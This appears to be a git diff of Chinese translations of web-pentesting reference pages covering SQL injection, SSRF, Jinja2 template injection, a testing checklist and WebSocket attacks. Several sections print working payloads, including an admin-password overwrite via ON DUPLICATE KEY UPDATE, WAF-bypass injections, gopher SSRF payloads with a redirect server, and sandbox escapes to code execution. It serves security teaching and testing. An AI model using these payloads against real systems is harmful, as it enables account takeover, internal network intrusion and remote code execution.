更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注意在最新的 MySQL 安装中,此攻击将不再按上述方式有效。虽然比较仍然默认忽略尾随空格但尝试插入一个超过字段长度的字符串将导致错误插入将失败。有关此检查的更多信息_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_注意在最新的 MySQL 安装中,此攻击将不再按上述方式工作。虽然比较仍然默认忽略尾随空格但尝试插入一个超过字段长度的字符串将导致错误插入将失败。有关此检查的更多信息_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL 插入基于时间的检查
@ -332,11 +332,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时,数据库应采取的操作。以下示例演示了如何利用此功能修改管理员户的密码:
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时,数据库应采取的操作。以下示例演示了如何利用此功能修改管理员户的密码:
示例有效载注入:
示例有效载注入:
有效载可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
有效载可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -344,7 +344,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
- 查询尝试插入两行:一行为 `generic_user@example.com`,另一行为 `admin_generic@example.com`
- 如果 `admin_generic@example.com` 的行已经存在,`ON DUPLICATE KEY UPDATE` 子句会触发,指示 MySQL 更新现有行的 `password` 字段为 "bcrypt_hash_of_newpassword"。
- 因此,可以尝试使用 `admin_generic@example.com` 进行身份验证,密码对应于 bcrypt 哈希("bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。
- 因此,可以使用 `admin_generic@example.com` 尝试身份验证,密码对应于 bcrypt 哈希("bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。
### 提取信息
@ -369,7 +369,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
使用 **hex****replace** (以及 **substr**):
使用 **hex****replace**(以及 **substr**
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -387,11 +387,11 @@ Example:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF 绕过
## WAF Bypass
[初始绕过来自这里](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### 无空格绕过
### No spaces bypass
无空格 (%20) - 使用空白替代品进行绕过
```sql
@ -436,8 +436,8 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
```
### 科学计数法 WAF 绕过
您可以在 [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) 中找到对此技巧的更深入解释。\
基本上,可以以意想不到的方式使用科学计数法来绕过 WAF
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
基本上,可以以意想不到的方式使用科学计数法来绕过 WAF
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1

View File

@ -30,7 +30,7 @@ url-format-bypass.md
### 通过开放重定向绕过
如果服务器得到了正确的保护,您可以 **通过利用网页中的开放重定向来绕过所有限制**。因为网页将允许 **SSRF 到同一域**,并可能会 **跟随重定向**,您可以利用 **开放重定向使服务器访问内部任何资源**。\
如果服务器得到了正确的保护,您可以 **通过利用网页中的开放重定向来绕过所有限制**。因为网页将允许 **SSRF 到同一域**,并可能会 **跟随重定向**,您可以利用 **开放重定向使服务器访问内部任何资源**。\
在这里阅读更多信息: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## 协议
@ -42,7 +42,7 @@ url-format-bypass.md
- **SFTP://**
- 被识别为通过安全外壳进行安全文件传输的协议,提供了一个示例,展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器: `url=sftp://generic.com:11111/`
- **TFTP://**
- 提到简单文件传输协议,操作在 UDP 上,给出了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发出 TFTP 请求以获取文件 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- 提到简单文件传输协议,操作在 UDP 上,提供了一个 PHP 脚本的示例,旨在向 TFTP 服务器发送请求。对 'generic.com' 的 TFTP 请求在端口 '12346' 上请求文件 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
- 本段涵盖轻量级目录访问协议,强调其在 IP 网络上管理和访问分布式目录信息服务的用途。在本地主机上与 LDAP 服务器交互: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect
```
- **Curl URL globbing - WAF 绕过**
- 如果 SSRF 是通过 **curl** 执行的curl 有一个叫做 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能,这可能对绕过 WAF 有用。例如,在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中,你可以找到这个关于 **通过 `file` 协议进行路径遍历** 的示例:
- 如果 SSRF 是通过 **curl** 执行的curl 有一个叫做 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能,这可能对绕过 WAF 有用。例如,在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中,你可以找到一个关于 **通过 `file` 协议的路径遍历** 的示例:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
@ -64,7 +64,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
### Gopher://
使用此协议,您可以指定服务器要**发送的IP、端口和字节**。然后您基本上可以利用SSRF来**与任何TCP服务器通信**(但您需要先知道如何与该服务对话)。\
使用此协议,您可以指定服务器要**发送****IP、端口和字节**。然后您基本上可以利用SSRF来**与任何TCP服务器通信**(但您需要先知道如何与该服务对话)。\
幸运的是,您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效载荷。此外,[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可用于为_Java RMI_服务创建_gopher_有效载荷。
**Gopher smtp**
@ -106,11 +106,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## SSRF通过引荐头和其他方式
服务器上的分析软件通常会记录引荐头以跟踪传入链接这种做法无意中使应用程序暴露于服务器端请求伪造SSRF漏洞。这是因为此类软件可能会访问引荐头中提到的外部URL以分析引用网站内容。为了发现这些漏洞建议使用Burp Suite插件“**Collaborator Everywhere**”利用分析工具处理Referer头的方式来识别潜在的SSRF攻击面。
服务器上的分析软件通常会记录引荐头以跟踪传入链接这种做法无意中使应用程序暴露于服务器端请求伪造SSRF漏洞。这是因为此类软件可能会访问引荐头中提到的外部URL以分析引用网站内容。为了发现这些漏洞建议使用Burp Suite插件“**Collaborator Everywhere**”利用分析工具处理Referer头的方式来识别潜在的SSRF攻击面。
## SSRF通过证书中的SNI数据
一个可能通过简单设置启用与任何后端连接的错误配置示例如下所示使用Nginx配置
一个可能通过简单设置启用与任何后端连接的错误配置示例如下所示:
```
stream {
server {
@ -121,11 +121,11 @@ ssl_preread on;
}
}
```
在此配置中服务器名称指示SNI字段中的值被直接用作后端地址。此设置暴露了服务器端请求伪造SSRF的漏洞,攻击者只需在 SNI 字段中指定所需的 IP 地址或域名即可利用该漏洞。以下是一个利用 `openssl` 命令强制连接到任意后端(例如 `internal.host.com`)的示例
在此配置中服务器名称指示SNI字段中的值被直接用作后端地址。此设置暴露了服务器端请求伪造SSRF漏洞可以通过在SNI字段中仅指定所需的IP地址或域名来利用。以下是一个利用示例强制连接到任意后端例如 `internal.host.com`,使用 `openssl` 命令
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
## [Wget 文件上传](../file-upload/#wget-file-upload-ssrf-trick)
## [Wget 文件上传](../file-upload/index.html#wget-file-upload-ssrf-trick)
## SSRF 与命令注入
@ -133,11 +133,11 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## PDFs 渲染
如果网页自动创建一个包含您提供的一些信息的 PDF您可以 **插入一些 JS这些 JS 将由 PDF 创建者**(服务器)在创建 PDF 时执行,您将能够利用 SSRF。 [**在这里找到更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
如果网页自动创建一个包含您提供的信息的 PDF您可以 **插入一些 JS这些 JS 将由 PDF 创建者**(服务器)在创建 PDF 时执行,您将能够利用 SSRF。 [**在这里找到更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## 从 SSRF 到 DoS
创建多个会话并尝试通过会话利用 SSRF 下载大文件。
创建多个会话并尝试利用会话中的 SSRF 下载大文件。
## SSRF PHP 函数
@ -149,7 +149,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## SSRF 重定向到 Gopher
对于某些利用,您可能需要 **发送重定向响应**(可能使用不同的协议,如 gopher这里,您有不同的 Python 代码可以响应重定向:
对于某些利用,您可能需要 **发送重定向响应**(可能使用不同的协议,如 gopher。这里有不同的 Python 代码可以响应重定向:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -179,7 +179,7 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
## 错误配置的代理到 SSRF
## 配置错误的代理到 SSRF
技巧 [**来自这篇文章**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
@ -206,7 +206,7 @@ app.run(threaded=False)
```
</details>
Flask 允许使用 **`@`** 作为初始字符,这使得 **初始主机名成为用户名** 并注入一个新的主机名。攻击请求:
Flask 允许使用 **`@`** 作为初始字符,这使得 **初始主机名成为用户名** 并注入一个新的。攻击请求:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
@ -245,7 +245,7 @@ var_dump($response);
```
</details>
PHP 允许在 URL 的路径中使用 **字符 `*` 在斜杠之前**,但是它有其他限制,比如它只能用于根路径 `/`,并且在第一个斜杠之前不允许使用`.`,因此需要使用无点的十六进制编码 IP 地址,例如:
PHP 允许在 URL 的路径中使用 **字符 `*` 在斜杠之前**,但是它有其他限制,比如它只能用于根路径 `/`,并且在第一个斜杠之前不允许`.`,因此需要使用无点的十六进制编码 IP 地址,例如:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -261,9 +261,9 @@ Connection: close
### 自动化 DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻击的工具。它包含了将攻击服务器 DNS 名称的 IP 地址重新绑定到目标机器的 IP 地址所需的组件,并向目标机器提供攻击有效载荷以利用易受攻击的软件。
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻击的工具。它包含了将攻击服务器 DNS 名称的 IP 地址重新绑定到目标机器的 IP 地址所需的组件,并向目标机器提供攻击有效载荷以利用易受攻击的软件。
还可以查看 **公共运行服务器** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
还可以查看 **公共运行服务器** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS 会话 ID/会话票证
@ -275,11 +275,11 @@ Connection: close
攻击:
1. 请求用户/机器人 **访问****攻击者** 控制的 **域名**
1. 请求用户/机器人 **访问** 一个**攻击者** 控制的 **域名**
2. **DNS****TTL****0** 秒(因此受害者将很快再次检查该域名的 IP
3. 在受害者和攻击者的域名之间建立 **TLS 连接**。攻击者将 **有效载荷放入** **会话 ID 或会话票证** 中。
4. **域名** 将开始对 **自己****无限重定向** 循环。这样做的目的是让用户/机器人访问该域名,直到它 **再次** 执行该域名的 **DNS 请求**
5. 在 DNS 请求中 **现在** 提供一个 **私有 IP** 地址(例如 127.0.0.1
3. 在受害者与攻击者的域名之间创建 **TLS 连接**。攻击者将 **有效载荷放入** **会话 ID 或会话票证** 中。
4. **域名** 将开始对 **自己****无限重定向循环**。这样做的目的是让用户/机器人访问该域名,直到它 **再次** 执行该域名的 **DNS 请求**
5. 在 DNS 请求中 **现在** 给出一个 **私有 IP** 地址(例如 127.0.0.1
6. 用户/机器人将尝试 **重新建立 TLS 连接**,为此它将 **发送** **会话** ID/票证 ID其中包含了攻击者的 **有效载荷**)。恭喜你成功地让 **用户/机器人攻击自己**
请注意,在此攻击期间,如果您想攻击 localhost:11211 (_memcache_),您需要让受害者与 www.attacker.com:11211 建立初始连接(**端口必须始终相同**)。\
@ -302,7 +302,7 @@ Connection: close
cloud-ssrf.md
{{#endref}}
## SSRF 漏洞平台
## SSRF 易受攻击的平台
几个已知平台包含或曾包含 SSRF 漏洞,请查看:
@ -345,7 +345,7 @@ SSRF Proxy 是一个多线程 HTTP 代理服务器,旨在通过易受服务器
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## 参考文献
## 参考
- [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)

View File

@ -64,8 +64,8 @@ app.run()
### 访问全局对象
例如,在代码 `render_template("hello.html", username=username, email=email)` 中,对象 username 和 email **来自非沙箱的 Python 环境**,并且在 **沙箱环境** **可访问的**。\
此外,还有其他对象将 **始终可以从沙箱环境访问**,这些对象是:
例如,在代码 `render_template("hello.html", username=username, email=email)` 中,对象 username 和 email **来自非沙箱的 Python 环境**,并且在 **沙箱环境** 中将**可访问的**。\
此外,还有其他对象将 **始终可以从沙箱环境访问**,这些对象是:
```
[]
''
@ -76,9 +76,9 @@ request
```
### 恢复 \<class 'object'>
然后,从这些对象中我们需要到达类:**`<class 'object'>`** 以尝试 **恢复** 定义的 **类**。这是因为从这个对象我们可以调用 **`__subclasses__`** 方法并 **访问所有非沙箱** python 环境中的类。
然后,从这些对象中我们需要到达类:**`<class 'object'>`** 以尝试 **恢复** 定义的 **类**。这是因为从这个对象我们可以调用 **`__subclasses__`** 方法并 **访问所有非沙箱** python 环境中的类。
为了访问该 **对象类**,您需要 **访问一个类对象**,然后访问 **`__base__`**、**`__mro__()[-1]`** 或 **`.`**`mro()[-1]`**。然后,在到达这个 **对象类** 之后,我们 **调用** **`__subclasses__()`**。
为了访问该 **对象类**,您需要 **访问一个类对象**,然后访问 **`__base__`**、**`__mro__()[-1]`** 或 `.`**`mro()[-1]`**。然后,在到达这个 **对象类** 之后,我们 **调用** **`__subclasses__()`**。
查看这些示例:
```python
@ -128,7 +128,7 @@ dict.__mro__[-1]
**恢复了** `<class 'object'>` 并调用了 `__subclasses__`,我们现在可以使用这些类来读取和写入文件以及执行代码。
`__subclasses__` 的调用给了我们机会 **访问数百个新函数**,我们只需访问 **文件类****读取/写入文件** 或任何可以访问 **允许执行命令** 的类(如 `os`)。
`__subclasses__` 的调用给了我们 **访问数百个新函数** 的机会,我们只需访问 **文件类****读取/写入文件** 或任何可以访问 **允许执行命令** 的类(如 `os`)。
**读取/写入远程文件**
```python
@ -204,7 +204,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
- [**返回这里以获取更多访问全局对象的选项**](jinja2-ssti.md#accessing-global-objects)
- [**返回这里以获取更多访问对象类的选项**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**阅读此内容以在没有对象类的情况下获RCE**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
- [**阅读此内容以在没有对象类的情况下获RCE**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**避免HTML编码**
@ -245,12 +245,12 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
## Jinja 注入而不使用 **\<class 'object'>**
## Jinja Injection without **\<class 'object'>**
[**全局对象**](jinja2-ssti.md#accessing-global-objects) 有另一种方法可以在 **不使用该类的情况下获得 RCE。**\
如果你设法从这些全局对象中获取任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里获**RCE** 是非常 **简单** 的。
从[**全局对象**](jinja2-ssti.md#accessing-global-objects)中,有另一种方法可以在**不使用该类的情况下获得RCE。**\
如果你设法从这些全局对象中获取任何**函数**,你将能够访问**`__globals__.__builtins__`**,从那里获取**RCE**是非常**简单**的。
你可以通过以下方式从 **`request`**、**`config`** 和任何 **其他** 有趣的 **全局对象****找到函数**
你可以通过以下方式从**`request`**、**`config`**和任何你可以访问的**其他**有趣的**全局对象**中**找到函数**
```bash
{{ request.__class__.__dict__ }}
- application
@ -319,10 +319,10 @@ crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## 参考文献
## 参考
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
- 查看 [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
- 查看 [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)

View File

@ -7,7 +7,7 @@
## Proxies
> [!NOTE]
> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但通常还需要后端的某些额外漏洞。
> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
@ -34,7 +34,7 @@
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
- [ ] [**Open Redirect**](open-redirect.md)
- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
@ -103,7 +103,7 @@ pocs-and-polygloths-cheatsheet/
### Files
允许上传文件的功能可能会受到多种问题的影响。\
允许上传文件的功能可能会存在多种问题。\
生成包含用户输入的文件的功能可能会执行意外代码。\
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
在每次 Web Pentest 中,有 **几个隐藏和明显的地方可能存在漏洞**这篇文章旨在作为一个检查清单,以确认您已在所有可能的地方搜索漏洞。
在每次 Web Pentest 中,有 **几个隐藏和明显的地方可能存在漏洞**本文旨在作为一个检查清单,以确认您已在所有可能的地方搜索漏洞。
## Proxies
> [!NOTE]
> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但通常还需要后端的某些额外漏洞。
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
@ -34,7 +34,7 @@
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
- [ ] [**Open Redirect**](../open-redirect.md)
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
@ -44,7 +44,7 @@
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
一些提到的漏洞需要特殊条件,其他的只需要内容被反映。您可以找到一些有趣的多语言工具来快速测试漏洞:
一些提到的漏洞需要特殊条件,其他的只需要内容被反映。您可以在以下位置找到一些有趣的多语言工具,以快速测试漏洞:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
@ -71,7 +71,7 @@
### **HTTP Headers**
根据 Web 服务器提供的 HTTP 头,可能存在某些漏洞
根据 Web 服务器提供的 HTTP 头,某些漏洞可能存在。
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
@ -103,7 +103,7 @@
### Files
允许上传文件的功能可能会存在多种问题。\
允许上传文件的功能可能会受到多种问题的影响。\
生成包含用户输入的文件的功能可能会执行意外代码。\
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。

View File

@ -12,9 +12,9 @@ WebSocket 连接通过初始的 **HTTP** 握手建立,旨在实现 **长时间
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
`wss` 协议表示一个使用 **TLS** 保护的 WebSocket 连接,而 `ws` 表示一个 **不安全** 连接。
`wss` 协议表示一个使用 **TLS** 保护的 WebSocket 连接,而 `ws` 表示一个 **不安全** 连接。
在连接建立期间,浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应,如例所示:
在连接建立期间,浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应,如下例所示:
浏览器发送握手请求:
```javascript
@ -33,20 +33,20 @@ Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
连接一旦建立,便可以在两个方向上进行消息交换。
连接一旦建立,便可以在双向进行消息交换。
**WebSocket 握手的关键点:**
- `Connection``Upgrade` 头部信号表示 WebSocket 握手的开始。
- `Sec-WebSocket-Version` 头部指示所需的 WebSocket 协议版本,通常为 `13`
- 在 `Sec-WebSocket-Key` 头部中发送一个 Base64 编码的随机值,确保每握手都是唯一的,这有助于防止缓存代理出现问题。该值不是用于身份验证,而是确认响应不是由配置错误的服务器或缓存生成的。
- 在 `Sec-WebSocket-Key` 头部中发送一个 Base64 编码的随机值,确保每握手都是唯一的,这有助于防止缓存代理出现问题。该值不是用于身份验证,而是确认响应不是由配置错误的服务器或缓存生成的。
- 服务器响应中的 `Sec-WebSocket-Accept` 头部是 `Sec-WebSocket-Key` 的哈希,验证服务器打开 WebSocket 连接的意图。
这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。
这些特性确保握手过程安全性和可靠,为高效的实时通信铺平道路。
### Linux 控制台
您可以使用 `websocat` 与 websocket 建立原始连接。
您可以使用 `websocat` 建立与 websocket 的原始连接。
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
@ -56,7 +56,7 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket 连接
如果您发现客户端从当前本地网络连接到 **HTTP websocket**,您可以尝试进行 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
如果您发现客户端从当前本地网络连接到 **HTTP websocket**,您可以尝试进行 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
一旦客户端尝试连接,您可以使用:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
@ -70,7 +70,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
- **Burp Suite** 以与常规 HTTP 通信非常相似的方式支持 MitM websockets 通信。
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 扩展** 将允许您通过获取 **history**、设置 **interception rules**、使用 **match and replace** 规则、使用 **Intruder****AutoRepeater** 更好地管理 Burp 中的 Websocket 通信。
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** 代表 "**WebSocket/Socket.io Proxy**",这个用 Node.js 编写的工具提供了一个用户界面来 **capture、intercept、send custom** 消息并查看客户端和服务器之间的所有 WebSocket 和 Socket.IO 通信。
- [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个专为渗透测试设计的 **interactive websocket REPL**。它提供了一个接口来观察 **incoming websocket messages 和发送新消息**,并提供一个易于使用的框架来 **automating** 这种通信。&#x20;
- [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个专为渗透测试设计的 **interactive websocket REPL**。它提供了一个接口来观察 **incoming websocket messages 和发送新消息**,并提供一个易于使用的框架来 **automating** 这种通信。&#x20;
- [**https://websocketking.com/**](https://websocketking.com/) 是一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 在其他类型的通信/协议中,它提供了一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
@ -80,15 +80,15 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证而没有 **CSRF tokens** 或类似的安全措施时,就会出现此漏洞。
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证而没有 **CSRF tokens** 或类似的安全措施时,就会出现此漏洞。
攻击者可以通过托管一个 **malicious web page** 来利用这一点,该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,这个连接被视为受害者与应用程序会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
攻击者可以通过托管一个 **malicious web page** 来利用这一点,该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,这个连接被视为受害者与应用程序会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
### Simple Attack
请注意,当 **establishing** 一个 **websocket** 连接时,**cookie** 会被 **sent** 到服务器。**server** 可能会使用它来 **relate** 每个 **specific** **user** 与其 **websocket** **session based on the sent cookie**
然后,如果 **例如** **websocket** **server** **发送回用户的对话历史**,如果发送了带有 "**READY"** 的消息,那么一个 **simple XSS** 建立连接(**cookie** 将 **sent** **automatically** 授权受害者用户) **sending** "**READY**" 将能够 **retrieve** 对话的 **history**
然后,如果 **例如** **websocket** **server** **发送回用户的对话历史**,如果发送了一个带有 "**READY"** 的消息,那么一个 **simple XSS** 建立连接(**cookie** 将 **sent** **automatically** 授权受害者用户) **sending** "**READY**" 将能够 **retrieve** 对话的 **history**
```markup
<script>
